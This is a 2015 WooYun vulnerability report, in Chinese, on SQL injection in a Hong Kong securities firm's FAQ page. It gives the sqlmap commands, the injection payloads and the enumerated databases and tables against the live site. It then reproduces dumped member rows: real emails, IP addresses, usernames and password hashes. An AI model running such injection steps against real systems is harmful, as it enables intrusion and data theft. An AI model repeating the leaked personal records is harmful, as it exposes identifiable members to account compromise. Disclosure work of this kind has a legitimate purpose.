当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0137960

漏洞标题:天顺证券投资港股交易存在SQL注射漏洞可泄露会员的信息

相关厂商:天顺证券投资有限公司

漏洞作者: Alsn

提交时间:2015-09-02 16:02

修复时间:2015-10-20 08:38

公开时间:2015-10-20 08:38

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-02: 细节已通知厂商并且等待厂商处理中
2015-09-05: 厂商已经确认,细节仅向厂商公开
2015-09-15: 细节向核心白帽子及相关领域专家公开
2015-09-25: 细节向普通白帽子公开
2015-10-05: 细节向实习白帽子公开
2015-10-20: 细节向公众公开

简要描述:

我是小白

详细说明:

证券投资。。。。。233333

漏洞证明:

漏洞地址:http://www.sws.hk/faq.php?id=12

sqlmap -u sqlmap -u http://www.sws.hk/faq.php?id=12 --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150828}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 14:18:06
[14:18:06] [INFO] resuming back-end DBMS 'mysql'
[14:18:06] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=12 AND 1681=1681
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=12 AND (SELECT * FROM (SELECT(SLEEP(5)))ytWO)
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=12 UNION ALL SELECT NULL,CONCAT(0x7170767671,0x64706161446373476846,0x7162767871),NULL--
---
[14:18:07] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2, PHP 5.3.26
back-end DBMS: MySQL 5.0.12
[14:18:07] [INFO] fetching database names
available databases [4]:
[*] information_schema
[*] skyways_forum
[*] skyways_test
[*] skyways_web
继续深入。。。
sqlmap -u http://www.sws.hk/faq.php?id=12 -D skyways_forum --tables _
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150828}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 13:06:42
[13:06:43] [INFO] resuming back-end DBMS 'mysql'
[13:06:43] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=12 AND 1681=1681
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=12 AND (SELECT * FROM (SELECT(SLEEP(5)))ytWO)
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=12 UNION ALL SELECT NULL,CONCAT(0x7170767671,0x64706161446373476846,0x7162767871),NULL--
---
[13:06:44] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2, PHP 5.3.26
back-end DBMS: MySQL 5.0.12
[13:06:44] [INFO] fetching tables for database: 'skyways_forum'
Database: skyways_forum
[41 tables]
+----------------------+
| cdb_access |
| cdb_activities |
| cdb_activityapplies |
| cdb_adminactions |
| cdb_admincustom |
| cdb_admingroups |
| cdb_adminnotes |
| cdb_adminsessions |
| cdb_advcaches |
| cdb_advertisements |
| cdb_announcements |
| cdb_attachments |
| cdb_attachpaymentlog |
| cdb_attachtypes |
| cdb_banned |
| cdb_bbcodes |
| cdb_buddys |
| cdb_caches |
| cdb_campaigns |
| cdb_creditslog |
| cdb_crons |
| cdb_debateposts |
| cdb_debates |
| cdb_failedlogins |
| cdb_faqs |
| cdb_favorites |
| cdb_forumfields |
| cdb_forumlinks |
| cdb_forumrecommend |
| cdb_forums |
| cdb_imagetypes |
| cdb_invites |
| cdb_itempool |
| cdb_magiclog |
| cdb_magicmarket |
| cdb_magics |
| cdb_medallog |
| cdb_medals |
| cdb_memberfields |
| cdb_membermagics |
| cdb_members |
+----------------------+


好像不少诶 继续深入吧。。。。。
看看数据 sqlmap -u http://www.sws.hk/faq.php?id=12 -D skyways_forum --dump-all
由于太多 复制少点吧

Database: skyways_forum
Table: cdb_members
[367 entries]
+-----+---------+---------+---------+-------------+-----+-----+------------+-----------------+-------+------------------------------------------+-------+--------+--------+-----------------+------------+---------+---------+----------+----------------+------------+----------------------------------+------------+-----------+-----------+-----------+-----------+------------+------------+------------+------------+------------+------------+-------------+-------------+-------------+-------------+-------------+-------------+-------------+-------------+-------------+-------------+-------------+--------------+--------------+---------------+
| uid | adminid | groupid | styleid | extgroupids | ppp | tpp | bday | regip | posts | email | newpm | oltime | gender | lastip | regdate | pmsound | credits | secques | username | lastpost | password | lastvisit | pageviews | invisible | sigstatus | showemail | newsletter | timeoffset | customshow | dateformat | editormode | timeformat | digestposts | accessmasks | groupexpiry | extcredits1 | extcredits2 | extcredits3 | extcredits4 | extcredits5 | extcredits6 | extcredits7 | extcredits8 | lastactivity | xspacestatus | customaddfeed |
+-----+---------+---------+---------+-------------+-----+-----+------------+-----------------+-------+------------------------------------------+-------+--------+--------+-----------------+------------+---------+---------+----------+----------------+------------+----------------------------------+------------+-----------+-----------+-----------+-----------+------------+------------+------------+------------+------------+------------+-------------+-------------+-------------+-------------+-------------+-------------+-------------+-------------+-------------+-------------+-------------+--------------+--------------+---------------+
[13:23:30] [WARNING] console output will be trimmed to last 256 rows due to large table size
| 112 | 0 | 10 | 0 | <blank> | 0 | 0 | 0000-00-00 | 117.26.94.117 | 0 | mkisuoem@sina.cn | 0 | 0 | 2 | 117.26.218.249 | 1338637995 | 0 | 0 | <blank> | mkisuoem | 0 | e6addd8b4a360196c0a3878f06470857 | 1338637995 | 0 | 0 | 0 | 1 | 0 | 9999 | 26 | 0 | 2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1338693649 | 0 | 0 |
| 113 | 0 | 10 | 0 | <blank> | 0 | 0 | 0000-00-00 | 120.33.224.210 | 0 | kinlosem@163.com | 0 | 0 | 2 | 117.26.216.231 | 1338716364 | 0 | 0 | <blank> | kinlosem | 0 | 6b6a2a749fbfdff182f08d66d2bce263 | 1338744239 | 0 | 0 | 0 | 1 | 0 | 9999 | 26 | 0 | 2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1338779342 | 0 | 0 |
| 114 | 0 | 10 | 0 | <blank> | 0 | 0 | 0000-00-00 | 117.26.90.136 | 0 | nunjingkseo@sina.cn | 0 | 0 | 2 | 117.26.89.49 | 1338790856 | 0 | 0 | <blank> | nuninseo | 0 | f1f901ef52e12aad370a824ee86d334a | 1338815836 | 0 | 0 | 0 | 1 | 0 | 9999 | 26 | 0 | 2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1338828387 | 0 | 0 |
| 115 | 0 | 10 | 0 | <blank> | 0 | 0 | 0000-00-00 | 59.58.157.19 | 0 | ehid84hi@hotmail.com | 0 | 0 | 2 | 59.58.156.220 | 1338865513 | 0 | 0 | <blank> | wdhipthb | 0 | 0dcb7ce59a81f6b3322cb88276a2e139 | 1338947711 | 0 | 0 | 0 | 1 | 0 | 9999 | 26 | 0 | 2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1338948460 | 0 | 0 |
| 116 | 0 | 10 | 0 | <blank> | 0 | 0 | 0000-00-00 | 120.33.225.158 | 0 | riyiuese@163.com | 0 | 0 | 2 | 120.33.225.158 | 1338873785 | 0 | 0 | <blank> | mikiuese | 0 | 08592ffe47092ee519d3b5bf625be7a2 | 1338895286 | 0 | 0 | 0 | 1 | 0 | 9999 | 26 | 0 | 2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1338902865 | 0 | 0 |
| 117 | 0 | 10 | 0 | <blank> | 0 | 0 | 0000-00-00 | 117.26.104.201 | 0 | yiuinng@sohu.com | 0 | 0 | 2 | 117.26.110.157 | 1338914156 | 0 | 0 | <blank> | myiuinng | 0 | 47494808bf7cd6e10b4ae7a6c75b7385 | 1338914156 | 0 | 0 | 0 | 1 | 0 | 9999 | 26 | 0 | 2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1338957755 | 0 | 0 |
| 118 | 0 | 10 | 0 | <blank> | 0 | 0 | 0000-00-00 | 117.26.120.175 | 0 | mnjunkse@163.com | 0 | 0 | 2 | 120.33.223.20 | 1338985477 | 0 | 0 | <blank> | mnjunzse | 0 | a23a540375706224570abe7cfb917e8e | 1339040083 | 0 | 0 | 0 | 1 | 0 | 9999 | 26 | 0 | 2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1339052141 | 0 | 0 |
| 119 | 0 | 10 | 0 | <blank> | 0 | 0 | 0000-00-00 | 120.33.223.20 | 0 | mjkvt@sohu.com | 0 | 0 | 2 | 117.26.122.111 | 1339064294 | 0 | 0 | <blank> | mjkvtsen | 0 | d18f5a8257329bce740f09ad5084b829 | 1339090760 | 0 | 0 | 0 | 1 | 0 | 9999 | 26 | 0 | 2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1339117752 | 0 | 0 |
| 120 | 0 | 10 | 0 | <blank> | 0 | 0 | 0000-00-00 | 117.26.122.111 | 0 | taoilikn@163.com | 0 | 0 | 2 | 117.26.95.45 | 1339131589 | 0 | 0 | <blank> | taoioikn | 0 | 613661235dc6288874b354c4a7e5c465 | 1339150341 | 0 | 0 | 0 | 1 | 0 | 9999 | 26 | 0 | 2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1339167233 | 0 | 0 |
| 121 | 0 | 10 | 0 | <blank> | 0 | 0 | 0000-00-00 | 117.26.95.45 | 0 | xiangzaiksw@sohu.com | 0 | 0 | 2 | 117.26.89.103 | 1339177189 | 0 | 0 | <blank> | xianzaisw | 0 | ae28134adf17b11f8901472040a737fe | 1339177189 | 0 | 0 | 0 | 1 | 0 | 9999 | 26 | 0 | 2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1339213049 | 0 | 0 |
| 122 | 0 | 10 | 0 | <blank> | 0 | 0 | 0000-00-00 | 222.77.207.125 | 0 | unerrler@sina.cn | 0 | 0 | 2 | 27.159.231.31 | 1339179192 | 0 | 0 | <blank> | fei82074


还有很多 不复制了

修复方案:

你比我更专业。。。。。

版权声明:转载请注明来源 Alsn@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-09-05 08:37

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向证券行业信息化主管部门通报,由其后续协调网站管理单位处置。

最新状态:

暂无


漏洞评价:

评论